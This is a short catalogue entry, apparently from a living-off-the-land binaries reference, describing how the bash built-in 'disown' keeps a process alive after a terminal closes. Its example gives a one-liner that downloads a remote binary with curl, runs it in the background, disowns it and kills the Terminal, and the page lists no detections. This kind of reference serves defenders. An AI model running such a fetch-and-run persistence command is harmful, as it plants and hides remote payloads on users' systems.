← All Binaries

disown

disown is a system utility that can be utilized to persist a shell process after a terminal has been closed or a shell session has been terminated. This is accomplished by preventing a SIGHUP from being sent to the running job, and removing the process from the shell jobs table. Unlike nohup which is used during process initialization, disown can be used to modify an existing process.

Author: Gabriel De Jesus (0xv1n) Created: 2025-05-27

Paths

shell built-in command (bash)

Example Use Cases

Start a process and remove it from the jobs table.

The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session.

curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal

Detections

  • No detection content at time of writing

Resources